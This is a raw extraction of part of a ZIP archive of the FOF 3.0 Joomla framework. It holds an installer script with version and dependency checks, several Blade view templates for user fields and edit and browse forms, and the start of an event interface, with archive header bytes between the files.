* The maximum Joomla! version this extension can be installed on * * @var string */ protected $maximumJoomlaVersion = '4.0.999'; /** * The name of the subdirectory under JPATH_LIBRARIES where this version of FOF is installed. * * @var string */ protected $libraryFolder = 'fof30'; /** * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to * tell Joomla! if it should abort the installation. * * @param string $type Installation type (install, update, discover_install) * @param JInstaller $parent Parent object * * @return boolean True to let the installation proceed, false to halt the installation */ public function preflight($type, $parent) { // Check the minimum PHP version if (!empty($this->minimumPHPVersion)) { if (defined('PHP_VERSION')) { $version = PHP_VERSION; } elseif (function_exists('phpversion')) { $version = phpversion(); } else { $version = '5.0.0'; // all bets are off! } if (!version_compare($version, $this->minimumPHPVersion, 'ge')) { $msg = "<p>You need PHP $this->minimumPHPVersion or later to install this package but you are currently using PHP $version</p>"; JLog::add($msg, JLog::WARNING, 'jerror'); return false; } } // Check the minimum Joomla! version if (!empty($this->minimumJoomlaVersion) && !version_compare(JVERSION, $this->minimumJoomlaVersion, 'ge')) { $jVersion = JVERSION; $msg = "<p>You need Joomla! $this->minimumJoomlaVersion or later to install this package but you only have $jVersion installed.</p>"; JLog::add($msg, JLog::WARNING, 'jerror'); return false; } // Check the maximum Joomla! version if (!empty($this->maximumJoomlaVersion) && !version_compare(JVERSION, $this->maximumJoomlaVersion, 'le')) { $jVersion = JVERSION; $msg = "<p>You need Joomla! $this->maximumJoomlaVersion or earlier to install this package but you have $jVersion installed</p>"; JLog::add($msg, JLog::WARNING, 'jerror'); return false; } // In case of an update, discovery etc I need to check if I am an update if (($type != 'install') && !$this->amIAnUpdate($parent)) { $msg = "<p>You have a newer version of FOF installed. If you want to downgrade please uninstall FOF and install the older version.</p>"; JLog::add($msg, JLog::WARNING, 'jerror'); return false; } return true; } /** * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing * or updating your component. This is the last chance you've got to perform any additional installations, clean-up, * database updates and similar housekeeping functions. * * @param string $type install, update or discover_update * @param JInstallerAdapterLibrary $parent Parent object */ public function postflight($type, JInstallerAdapterLibrary $parent) { if ($type == 'update') { $this->bugfixFilesNotCopiedOnUpdate($parent); } $this->loadFOF30(); if (!defined('FOF30_INCLUDED')) { return; } // Install or update database $db = JFactory::getDbo(); /** @var JInstaller $grandpa */ $grandpa = $parent->getParent(); $src = $grandpa->getPath('source'); $sqlSource = $src . '/fof/sql'; // If we have an uppercase db prefix we can expect the database update to fail because we cannot detect reliably // the existence of database tables. See https://github.com/joomla/joomla-cms/issues/10928#issuecomment-228549658 $prefix = $db->getPrefix(); $canFail = preg_match('/[A-Z]/', $prefix); try { $dbInstaller = new FOF30\Database\Installer($db, $sqlSource); $dbInstaller->updateSchema(); } catch (\Exception $e) { if (!$canFail) { throw $e; } } // Since we're adding common table, I have to nuke the installer cache, otherwise checks on their existence would fail $dbInstaller->nukeCache(); // Clear the FOF cache $fakeController = \FOF30\Container\Container::getInstance('com_FOOBAR'); $fakeController->platform->clearCache(); } /** * Runs on uninstallation * * @param JInstallerAdapterLibrary $parent The parent object * * @throws RuntimeException If the uninstallation is not allowed */ public function uninstall(JInstallerAdapterLibrary $parent) { // Check dependencies on FOF $dependencyCount = count($this->getDependencies('fof30')); if ($dependencyCount) { $msg = "<p>You have $dependencyCount extension(s) depending on this version of FOF. The package cannot be uninstalled unless these extensions are uninstalled first.</p>"; JLog::add($msg, JLog::WARNING, 'jerror'); throw new RuntimeException($msg, 500); } } /** * Is this package an update to the currently installed FOF? If not (we're a downgrade) we will return false * and prevent the installation from going on. * * @param JInstallerAdapterLibrary $parent The parent object * * @return array The installation status */ protected function amIAnUpdate(JInstallerAdapterLibrary $parent) { /** @var JInstaller $grandpa */ $grandpa = $parent->getParent(); $source = $grandpa->getPath('source'); $target = JPATH_LIBRARIES . '/fof30'; // If FOF is not really installed (someone removed the directory instead of uninstalling?) I have to install it. if (!JFolder::exists($target)) { return true; } $fofVersion = array(); if (JFile::exists($target . '/version.txt')) { $rawData = @file_get_contents($target . '/version.txt'); $rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" : $rawData; $info = explode("\n", $rawData); $fofVersion['installed'] = array( 'version' => trim($info[0]), 'date' => new JDate(trim($info[1])), ); } else { $fofVersion['installed'] = array( 'version' => '0.0', 'date' => new JDate('2011-01-01'), ); } $rawData = @file_get_contents($source . '/version.txt'); $rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" : $rawData; $info = explode("\n", $rawData); $fofVersion['package'] = array( 'version' => trim($info[0]), 'date' => new JDate(trim($info[1])), ); $haveToInstallFOF = $fofVersion['package']['date']->toUNIX() >= $fofVersion['installed']['date']->toUNIX(); return $haveToInstallFOF; } /** * Loads FOF 3.0 if it's not already loaded */ protected function loadFOF30() { // Load FOF if not already loaded if (!defined('FOF30_INCLUDED')) { $filePath = JPATH_LIBRARIES . '/fof30/include.php'; if (!defined('FOF30_INCLUDED') && file_exists($filePath)) { @include_once $filePath; } } } /** * Get the dependencies for a package from the #__akeeba_common table * * @param string $package The package * * @return array The dependencies */ protected function getDependencies($package) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->qn('value')) ->from($db->qn('#__akeeba_common')) ->where($db->qn('key') . ' = ' . $db->q($package)); try { $dependencies = $db->setQuery($query)->loadResult(); $dependencies = json_decode($dependencies, true); if (empty($dependencies)) { $dependencies = array(); } } catch (Exception $e) { $dependencies = array(); } return $dependencies; } /** * Sets the dependencies for a package into the #__akeeba_common table * * @param string $package The package * @param array $dependencies The dependencies list */ protected function setDependencies($package, array $dependencies) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->delete('#__akeeba_common') ->where($db->qn('key') . ' = ' . $db->q($package)); try { $db->setQuery($query)->execute(); } catch (Exception $e) { // Do nothing if the old key wasn't found } $object = (object) array( 'key' => $package, 'value' => json_encode($dependencies), ); try { $db->insertObject('#__akeeba_common', $object, 'key'); } catch (Exception $e) { // Do nothing if the old key wasn't found } } /** * Adds a package dependency to #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to add */ protected function addDependency($package, $dependency) { $dependencies = $this->getDependencies($package); if (!in_array($dependency, $dependencies)) { $dependencies[] = $dependency; $this->setDependencies($package, $dependencies); } } /** * Removes a package dependency from #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to remove */ protected function removeDependency($package, $dependency) { $dependencies = $this->getDependencies($package); if (in_array($dependency, $dependencies)) { $index = array_search($dependency, $dependencies); unset($dependencies[$index]); $this->setDependencies($package, $dependencies); } } /** * Do I have a dependency for a package in #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to check for * * @return bool */ protected function hasDependency($package, $dependency) { $dependencies = $this->getDependencies($package); return in_array($dependency, $dependencies); } /** * Recursively copy a bunch of files, but only if the source and target file have a different size. * * @param string $source Path to copy FROM * @param string $dest Path to copy TO * * @return void */ protected function recursiveConditionalCopy($source, $dest) { // Make sure source and destination exist if (!@is_dir($source)) { return; } if (!@is_dir($dest)) { if (!@mkdir($dest, 0755)) { JFolder::create($dest, 0755); } } if (!@is_dir($dest)) { $this->log(__CLASS__ . ": Cannot create folder $dest"); return; } // List the contents of the source folder try { $di = new DirectoryIterator($source); } catch (Exception $e) { return; } // Process each entry foreach ($di as $entry) { // Ignore dot dirs (. and ..) if ($entry->isDot()) { continue; } $sourcePath = $entry->getPathname(); $fileName = $entry->getFilename(); // If it's a directory do a recursive copy if ($entry->isDir()) { $this->recursiveConditionalCopy($sourcePath, $dest . DIRECTORY_SEPARATOR . $fileName); continue; } // If it's a file check if it's missing or identical $mustCopy = false; $targetPath = $dest . DIRECTORY_SEPARATOR . $fileName; if (!@is_file($targetPath)) { $mustCopy = true; } else { $sourceSize = @filesize($sourcePath); $targetSize = @filesize($targetPath); $mustCopy = $sourceSize != $targetSize; } if (!$mustCopy) { continue; } if (!@copy($sourcePath, $targetPath)) { if (!JFile::copy($sourcePath, $targetPath)) { $this->log(__CLASS__ . ": Cannot copy $sourcePath to $targetPath"); } } } } /** * Try to log a warning / error with Joomla * * @param string $message The message to write to the log * @param bool $error Is this an error? If not, it's a warning. (default: false) * @param string $category Log category, default jerror * * @return void */ protected function log($message, $error = false, $category = 'jerror') { // Just in case... if (!class_exists('JLog', true)) { return; } $priority = $error ? JLog::ERROR : JLog::WARNING; try { JLog::add($message, $priority, $category); } catch (Exception $e) { // Swallow the exception. } } /** * Fix for Joomla bug: sometimes files are not copied on update. * * We have observed that ever since Joomla! 1.5.5, when Joomla! is performing an extension update some files / * folders are not copied properly. This seems to be a bit random and seems to be more likely to happen the more * added / modified files and folders you have. We are trying to work around it by retrying the copy operation * ourselves WITHOUT going through the manifest, based entirely on the conventions we follow. * * @param \JInstallerAdapterComponent $parent */ protected function bugfixFilesNotCopiedOnUpdate($parent) { $source = $parent->getParent()->getPath('source') . '/fof'; $target = JPATH_LIBRARIES . '/' . $this->libraryFolder; $this->recursiveConditionalCopy($source, $target); } } PK���\��wemm.fof30/ViewTemplates/Common/user_show.blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ defined('_JEXEC') || die; /** * User information display field * * Use this by extending it (I'm using -at- instead of the actual at-sign) * -at-include('any:lib_fof30/Common/user_show', $params) * * $params is an array defining the following keys (they are expanded into local scope vars automatically): * * @var \FOF30\Model\DataModel $item The record which holds the user ID in the $field property * @var string $field The name of the field in the current row containing the user ID * @var string $id The ID of the generated DIV * @var string $showUsername Should I display the username? * @var string $showEmail Should I display the email address? * @var string $showName Should I display the full name? * @var string $showID Should I display the numeric user ID? * @var string $showAvatar Should I display the avatar of the user? * @var string $showLink Should I display a link? * @var string $linkURL What link should I display? Default is com_users edit page (backend only). * @var string $avatarMethod Method to display an avatar: gravatar | plugin * @var string $avatarSize Size [pixels] of the avatar. Avatars are square. Size 64 means 64x64 px. * @var string $class Extra class to append * * Variables made automatically available to us by FOF: * * @var \FOF30\View\DataView\Raw $this */ use FOF30\Utils\FEFHelper\BrowseView; global $akeebaSubsShowUserCache; if (!isset($akeebaSubsShowUserCache)) { $akeebaSubsShowUserCache = []; } // Get field parameters $defaultParams = [ 'id' => '', 'showUsername' => true, 'showEmail' => true, 'showName' => true, 'showID' => true, 'showAvatar' => true, 'showLink' => true, 'linkURL' => null, 'avatarMethod' => 'gravatar', 'avatarSize' => 64, 'class' => '', ]; foreach ($defaultParams as $paramName => $paramValue) { if (!isset(${$paramName})) { ${$paramName} = $paramValue; } } unset($defaultParams, $paramName, $paramValue); // Initialization $value = $item->getFieldValue($field); $key = is_numeric($value) ? $value : 'empty'; // Get the user if (!array_key_exists($key, $akeebaSubsShowUserCache)) { $akeebaSubsShowUserCache[$key] = $this->getContainer()->platform->getUser($value); } $user = $akeebaSubsShowUserCache[$key]; // Get the field parameters if ($avatarMethod) { $avatarMethod = strtolower($avatarMethod); } if (!$linkURL && $this->getContainer()->platform->isBackend()) { $linkURL = 'index.php?option=com_users&task=user.edit&id=[USER:ID]'; } elseif (!$linkURL) { // If no link is defined in the front-end, we can't create a default link. Therefore, show no link. $showLink = false; } // Post-process the link URL if ($showLink) { $replacements = array( '[USER:ID]' => $user->id, '[USER:USERNAME]' => $user->username, '[USER:EMAIL]' => $user->email, '[USER:NAME]' => $user->name, ); foreach ($replacements as $key => $value) { $linkURL = str_replace($key, $value, $linkURL); } $linkURL = BrowseView::parseFieldTags($linkURL, $item); } // Get the avatar image, if necessary $avatarURL = ''; if ($showAvatar) { $avatarURL = ''; if ($avatarMethod == 'plugin') { // Use the user plugins to get an avatar $this->getContainer()->platform->importPlugin('user'); $jResponse = $this->getContainer()->platform->runPlugins('onUserAvatar', array($user, $avatarSize)); if (!empty($jResponse)) { foreach ($jResponse as $response) { if ($response) { $avatarURL = $response; } } } } // Fall back to the Gravatar method if (empty($avatarURL)) { $md5 = md5($user->email); $avatarURL = 'https://secure.gravatar.com/avatar/' . $md5 . '.jpg?s=' . $avatarSize . '&d=mm'; } } ?> <div id="{{ $id }}" class="{{ $class }}"> @if($showAvatar) <img src="{{ $avatarURL }}" alt="{{ $showName ? $user->name : ($showUsername ? $user->username : '') }}" align="left" class="fof-usersfield-avatar" /> @endif @if($showLink) <a href="{{ $linkURL }}"> @endif @if($showUsername) <span class="fof-usersfield-username"> {{{ $user->username }}} </span> @endif @if($showID) <span class="fof-usersfield-id"> {{{ $user->id }}} </span> @endif @if($showName) <span class="fof-usersfield-name"> {{{ $user->name }}} </span> @endif @if($showEmail) <span class="fof-usersfield-email"> {{{ $user->email }}} </span> @endif @if($showLink) </a> @endif </div> PK���\�tw��7fof30/ViewTemplates/Common/user_select.j3.fef.blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ defined('_JEXEC') || die; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; /** * User entry field, allowing selection of a user from a modal dialog * * Use this by extending it (I'm using -at- instead of the actual at-sign) * -at-include('any:lib_fof30/Common/user_select', $params) * * This is the variant used when using the FEF renderer under Joomla 3. * * $params is an array defining the following keys (they are expanded into local scope vars automatically): * * @var string $field The user field's name, e.g. "user_id" * @var \FOF30\Model\DataModel $item The item we're editing. The user ID is stored in $item->{$field} * @var string $id The id of the field, default is $field * @var bool $readonly Is this a read only field? Default: false * @var string $placeholder Placeholder text, also used as the button's tooltip * @var bool $required Is a value required for this field? Default: false * @var string $width Width of the modal box (default: 800) * @var string $height Height of the modal box (default: 500) * * Variables made automatically available to us by FOF: * * @var \FOF30\View\DataView\DataViewInterface $this */ $id = isset($id) ? $id : $field; $readonly = isset($readonly) ? ($readonly ? true : false) : false; $placeholder = isset($placeholder) ? JText::_($placeholder) : JText::_('JLIB_FORM_SELECT_USER'); $userID = $item->getFieldValue($field, 0); $user = $item->getContainer()->platform->getUser($userID); $width = isset($width) ? $width : 800; $height = isset($height) ? $height : 500; $class = isset($class) ? $class : ''; $size = isset($size) ? $size : 0; $onchange = isset($onchange) ? $onchange : ''; $uri = new JUri('index.php?option=com_users&view=users&layout=modal&tmpl=component'); $uri->setVar('required', (isset($required) ? ($required ? 1 : 0) : 0)); $uri->setVar('field', $field); $url = 'index.php' . $uri->toString(['query']); ?> @unless($readonly) @jhtml('behavior.modal', 'a.userSelectModal_' . $this->escape($field)) @jhtml('script', 'jui/fielduser.min.js', ['version' => 'auto', 'relative' => true]) @endunless <div class="akeeba-input-group"> <input readonly type="text" id="{{{ $field }}}" value="{{{ $user->username }}}" placeholder="{{{ $placeholder }}}"/> <span class="akeeba-input-group-btn"> <a href="@route($url)" class="akeeba-btn--grey userSelectModal_{{{ $field }}}" title="{{{ $placeholder }}}" rel="{handler: 'iframe', size: {x: {{$width}}, y: {{$height}} }}"> <span class="akion-person"></span> </a> </span> </div> @unless($readonly) <input type="hidden" id="{{{ $field }}}_id" name="{{{ $field }}}" value="{{ (int) $userID }}"/> @endunless PK���\��'e 3fof30/ViewTemplates/Common/user_select.j4.blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ defined('_JEXEC') || die; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; /** * User entry field, allowing selection of a user from a modal dialog * * Use this by extending it (I'm using -at- instead of the actual at-sign) * -at-include('any:lib_fof30/Common/user_select', $params) * * This is the generic variant used in Joomla 4 (when NOT using the FEF renderer) * * $params is an array defining the following keys (they are expanded into local scope vars automatically): * * @var string $field The user field's name, e.g. "user_id" * @var \FOF30\Model\DataModel $item The item we're editing. The user ID is stored in $item->{$field} * @var string $id The id of the field, default is $field * @var bool $readonly Is this a read only field? Default: false * @var string $placeholder Placeholder text, also used as the button's tooltip * @var bool $required Is a value required for this field? Default: false * @var string $width Width of the modal box (default: 800) * @var string $height Height of the modal box (default: 500) * * Variables made automatically available to us by FOF: * * @var \FOF30\View\DataView\DataViewInterface $this */ $id = isset($id) ? $id : $field; $readonly = isset($readonly) ? ($readonly ? true : false) : false; $placeholder = isset($placeholder) ? Text::_($placeholder) : Text::_('JLIB_FORM_SELECT_USER'); $userID = $item->getFieldValue($field, 0); $user = $item->getContainer()->platform->getUser($userID); $width = isset($width) ? $width : 800; $height = isset($height) ? $height : 500; $class = isset($class) ? $class : ''; $size = isset($size) ? $size : 0; $onchange = isset($onchange) ? $onchange : ''; ?> @jlayout('joomla/form/field/user', [ 'name' => $field, 'id' => $id, 'class' => $class, 'size' => $size, 'value' => $userID, 'userName' => $user->name, 'hint' => $placeholder, 'readonly' => $readonly, 'required' => $required, 'onchange' => $onchange, 'dataAttribute' => '', ])PK���\?"Z�7fof30/ViewTemplates/Common/user_select.j4.fef.blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ defined('_JEXEC') || die; use Joomla\CMS\Factory;use Joomla\CMS\HTML\HTMLHelper;use Joomla\CMS\Language\Text;use Joomla\CMS\Uri\Uri;use Joomla\Utilities\ArrayHelper; /** * User entry field, allowing selection of a user from a modal dialog * * Use this by extending it (I'm using -at- instead of the actual at-sign) * -at-include('any:lib_fof30/Common/user_select', $params) * * This is the variant used when using the FEF renderer under Joomla 4. * * $params is an array defining the following keys (they are expanded into local scope vars automatically): * * @var string $field The user field's name, e.g. "user_id" * @var \FOF30\Model\DataModel $item The item we're editing. The user ID is stored in $item->{$field} * @var string $id The id of the field, default is $field * @var bool $readonly Is this a read only field? Default: false * @var string $placeholder Placeholder text, also used as the button's tooltip * @var bool $required Is a value required for this field? Default: false * @var string $width Width of the modal box (default: 800) * @var string $height Height of the modal box (default: 500) * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var mixed $groups The filtering groups (null means no filtering) * @var mixed $excluded The users to exclude from the list of users * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. * * Variables made automatically available to us by FOF: * * @var \FOF30\View\DataView\DataViewInterface $this */ $id = isset($id) ? $id : $field; $readonly = isset($readonly) ? ($readonly ? true : false) : false; $placeholder = isset($placeholder) ? Text::_($placeholder) : Text::_('JLIB_FORM_SELECT_USER'); $userID = $item->getFieldValue($field, 0); $user = $item->getContainer()->platform->getUser($userID); $width = isset($width) ? $width : 800; $height = isset($height) ? $height : 500; $class = isset($class) ? $class : ''; $size = isset($size) ? $size : 0; $onchange = isset($onchange) ? $onchange : ''; $userName = (is_object($user) && ($user instanceof \Joomla\CMS\User\User) && !$user->guest) ? $user->name : Text::_('JLIB_FORM_SELECT_USER'); if (!$readonly) { Factory::getDocument()->getWebAssetManager() ->useScript('webcomponent.field-user'); } $uri = new Uri('index.php?option=com_users&view=users&layout=modal&tmpl=component&required=0'); $uri->setVar('field', $this->escape($id)); if ($required) { $uri->setVar('required', 1); } if (!empty($groups)) { $uri->setVar('groups', base64_encode(json_encode($groups))); } if (!empty($excluded)) { $uri->setVar('excluded', base64_encode(json_encode($excluded))); } // Invalidate the input value if no user selected if ($this->escape($userName) === Text::_('JLIB_FORM_SELECT_USER')) { $userName = ''; } $inputAttributes = array( 'type' => 'text', 'id' => $id, 'class' => 'form-control field-user-input-name', 'value' => $this->escape($userName) ); if ($class) { $inputAttributes['class'] .= ' ' . $class; } if ($size) { $inputAttributes['size'] = (int) $size; } if ($required) { $inputAttributes['required'] = 'required'; } if (!$readonly) { $inputAttributes['placeholder'] = $placeholder; } ?> <?php // Create a dummy text field with the user name. ?> <joomla-field-user class="field-user-wrapper" url="<?php echo (string) $uri; ?>" modal=".modal" modal-width="100%" modal-height="400px" input=".field-user-input" input-name=".field-user-input-name" button-select=".userSelectModal_{{{ $field }}}"> <div class="akeeba-input-group"> <input {{ ArrayHelper::toString($inputAttributes) }} {{ $dataAttribute ?? '' }} readonly> @if (!$readonly) <span class="akeeba-input-group-btn"> <button type="button" class="akeeba-btn--grey userSelectModal_{{{ $field }}}" title="{{{ $placeholder }}}"> <span class="akion-person" aria-hidden="true" aria-label="{{ $placeholder }}"></span> </button> </span> @endif </div> {{-- Create the real field, hidden, that stored the user id.--}} @if(!$readonly) <input type="hidden" id="{{ $id }}_id" name="{{ $field }}" value="{{{ $userID }}}" class="field-user-input {{ $class ? (string) $class : '' }}" data-onchange="{{{ $onchange }}}"> @jhtml( 'bootstrap.renderModal', 'userModal_' . $id, array( 'url' => $uri, 'title' => $placeholder, 'closeButton' => true, 'height' => '100%', 'width' => '100%', 'modalWidth' => $width / 10, 'bodyHeight' => $height / 10, 'footer' => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">' . Text::_('JCANCEL') . '</button>', ) ) @endif </joomla-field-user> PK���\��$-DD)fof30/ViewTemplates/Common/edit.blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ defined('_JEXEC') || die; /** * Template for Edit (form) views using the FEF renderer * * Use this by extending it (I'm using -at- instead of the at-sign) * -at-extends('any:lib_fof30/Common/edit') * * Override the following sections in your Blade template: * * edit-page-top * Content to put above the form * * edit-page-bottom * Content to put below the form * * edit-form-body * The page's body, inside the form * * edit-hidden-fields * [ Optional ] Any additional hidden INPUTs to add to the form. By default this is empty. * The default hidden fields (option, view, task, ordering fields, boxchecked and token) can * not be removed. * * Do not override any other section. The overridden sections should be closed with -at-override instead of -at-stop. *//** @var FOF30\View\DataView\Html $this */ ?> @section('edit-form-body') {{-- Put your form body in this section --}} @stop @section('edit-hidden-fields') {{-- Put your additional hidden fields in this section --}} @stop @yield('edit-page-top') {{-- Administrator form for browse views --}} <form action="index.php" method="post" name="adminForm" id="adminForm" class="akeeba-form--horizontal"> {{-- Main form body --}} @yield('edit-form-body') {{-- Hidden form fields --}} <div class="akeeba-hidden-fields-container"> @section('browse-default-hidden-fields') <input type="hidden" name="option" id="option" value="{{{ $this->getContainer()->componentName }}}"/> <input type="hidden" name="view" id="view" value="{{{ $this->getName() }}}"/> <input type="hidden" name="task" id="task" value="{{{ $this->getTask() }}}"/> <input type="hidden" name="id" id="id" value="{{{ $this->getItem()->getId() }}}"/> <input type="hidden" name="@token()" value="1"/> @show @yield('edit-hidden-fields') </div> </form> @yield('edit-page-bottom') PK���\�: J��+fof30/ViewTemplates/Common/browse.blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ defined('_JEXEC') || die; /** * Template for Browse views using the FEF renderer * * Use this by extending it (I'm using -at- instead of the actual at-sign) * -at-extends('any:lib_fof30/Common/browse') * * Override the following sections in your Blade template: * * browse-page-top * Content to put above the form * * browse-page-bottom * Content to put below the form * * browse-filters * Filters to place above the table. They are placed inside an inline form. Wrap them in * <div class="akeeba-filter-element akeeba-form-group"> * * browse-table-header * The table header. At the very least you need to add the table column headers. You can * optionally add one or more <tr> with filters at the top. * * browse-table-body-withrecords * Loop through the records and create <tr>s. * * browse-table-body-norecords * [ Optional ] The <tr> to show when no records are present. Default is the "no records" text. * * browse-table-footer * [ Optional ] The table footer. By default that's just the pagination footer. * * browse-hidden-fields * [ Optional ] Any additional hidden INPUTs to add to the form. By default this is empty. * The default hidden fields (option, view, task, ordering fields, boxchecked and token) can * not be removed. * * Do not override any other section. The overridden sections should be closed with -at-override instead of -at-stop. *//** @var FOF30\View\DataView\Html $this */ $ajaxOrderingSupport = $this->hasAjaxOrderingSupport(); ?> {{-- Allow tooltips, used in grid headers --}} @if (version_compare(JVERSION, '3.999.999', 'le')) @jhtml('behavior.tooltip') @endif {{-- Allow SHIFT+click to select multiple rows --}} @jhtml('behavior.multiselect') @section('browse-filters') {{-- Filters above the table. --}} @stop @section('browse-table-header') {{-- Table header. Column headers and optional filters displayed above the column headers. --}} @stop @section('browse-table-body-norecords') {{-- Table body shown when no records are present. --}} <tr> <td colspan="99"> @lang($this->getContainer()->componentName . '_COMMON_NORECORDS') </td> </tr> @stop @section('browse-table-body-withrecords') {{-- Table body shown when records are present. --}} <?php $i = 0; ?> @foreach($this->items as $row) <tr> {{-- You need to implement me! --}} </tr> @endforeach @stop @section('browse-table-footer') {{-- Table footer. The default is showing the pagination footer. --}} <tr> <td colspan="99" class="center"> {{ $this->pagination->getListFooter() }} </td> </tr> @stop @section('browse-hidden-fields') {{-- Put your additional hidden fields in this section --}} @stop @yield('browse-page-top') {{-- Administrator form for browse views --}} <form action="index.php" method="post" name="adminForm" id="adminForm" class="akeeba-form"> {{-- Filters and ordering --}} <section class="akeeba-panel--33-66 akeeba-filter-bar-container"> <div class="akeeba-filter-bar akeeba-filter-bar--left akeeba-form-section akeeba-form--inline"> @yield('browse-filters') </div> <div class="akeeba-filter-bar akeeba-filter-bar--right"> @jhtml('FEFHelper.browse.orderjs', $this->lists->order) @jhtml('FEFHelper.browse.orderheader', $this) </div> </section> <table class="akeeba-table akeeba-table--striped--hborder--hover" id="itemsList"> <thead> @yield('browse-table-header') </thead> <tfoot> @yield('browse-table-footer') </tfoot> <tbody @if(($ajaxOrderingSupport !== false) && $ajaxOrderingSupport['saveOrder']) class="js-draggable" data-url="{{ $ajaxOrderingSupport['saveOrderURL'] }}" data-direction="{{ strtolower($this->getModel()->getState('filter_order_Dir', null, 'cmd')) }}" data-nested="{{ ($this->getModel() instanceof \FOF30\Model\TreeModel) ? 'true' : 'false' }}" @endif > @unless(count($this->items)) @yield('browse-table-body-norecords') @else @yield('browse-table-body-withrecords') @endunless </tbody> </table> {{-- Hidden form fields --}} <div class="akeeba-hidden-fields-container"> @section('browse-default-hidden-fields') <input type="hidden" name="option" id="option" value="{{{ $this->getContainer()->componentName }}}"/> <input type="hidden" name="view" id="view" value="{{{ $this->getName() }}}"/> <input type="hidden" name="boxchecked" id="boxchecked" value="0"/> <input type="hidden" name="task" id="task" value="{{{ $this->getTask() }}}"/> <input type="hidden" name="filter_order" id="filter_order" value="{{{ $this->lists->order }}}"/> <input type="hidden" name="filter_order_Dir" id="filter_order_Dir" value="{{{ $this->lists->order_Dir }}}"/> <input type="hidden" name="@token()" value="1"/> @show @yield('browse-hidden-fields') </div> </form> @yield('browse-page-bottom') PK���\&�<���0fof30/ViewTemplates/Common/user_select.blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ defined('_JEXEC') || die; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; /** * User entry field, allowing selection of a user from a modal dialog * * Use this by extending it (I'm using -at- instead of the actual at-sign) * -at-include('any:lib_fof30/Common/user_select', $params) * * This is the generic variant used in Joomla 3 (when NOT using the FEF renderer) * * $params is an array defining the following keys (they are expanded into local scope vars automatically): * * @var string $field The user field's name, e.g. "user_id" * @var \FOF30\Model\DataModel $item The item we're editing. The user ID is stored in $item->{$field} * @var string $id The id of the field, default is $field * @var bool $readonly Is this a read only field? Default: false * @var string $placeholder Placeholder text, also used as the button's tooltip * @var bool $required Is a value required for this field? Default: false * @var string $width Width of the modal box (default: 800) * @var string $height Height of the modal box (default: 500) * * Variables made automatically available to us by FOF: * * @var \FOF30\View\DataView\DataViewInterface $this */ $id = isset($id) ? $id : $field; $readonly = isset($readonly) ? ($readonly ? true : false) : false; $placeholder = isset($placeholder) ? JText::_($placeholder) : JText::_('JLIB_FORM_SELECT_USER'); $userID = $item->getFieldValue($field, 0); $user = $item->getContainer()->platform->getUser($userID); $width = isset($width) ? $width : 800; $height = isset($height) ? $height : 500; $class = isset($class) ? $class : ''; $size = isset($size) ? $size : 0; $onchange = isset($onchange) ? $onchange : ''; $uri = new JUri('index.php?option=com_users&view=users&layout=modal&tmpl=component'); $uri->setVar('required', (isset($required) ? ($required ? 1 : 0) : 0)); $uri->setVar('field', $field); $url = 'index.php' . $uri->toString(['query']); ?> @unless($readonly) @jhtml('behavior.modal', 'a.userSelectModal_' . $this->escape($field)) @jhtml('script', 'jui/fielduser.min.js', ['version' => 'auto', 'relative' => true]) @endunless <div class="input-append"> <input readonly type="text" id="{{{ $field }}}" value="{{{ $user->username }}}" placeholder="{{{ $placeholder }}}"/> <a href="@route($url)" class="akeeba-btn--grey userSelectModal_{{{ $field }}}" title="{{{ $placeholder }}}" rel="{handler: 'iframe', size: {x: {{$width}}, y: {{$height}} }}"> <span class="akion-person"></span> </a> </div> @unless($readonly) <input type="hidden" id="{{{ $field }}}_id" name="{{{ $field }}}" value="{{ (int) $userID }}"/> @endunlessPK���\����fof30/Event/Observable.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Event; defined('_JEXEC') || die; /** * Interface Observable * * @codeCoverageIgnore */ interface Observable { /** * Attaches an observer to the object * * @param Observer $observer The observer to attach * * @return Observable Ourselves, for chaining */ public function attach(Observer 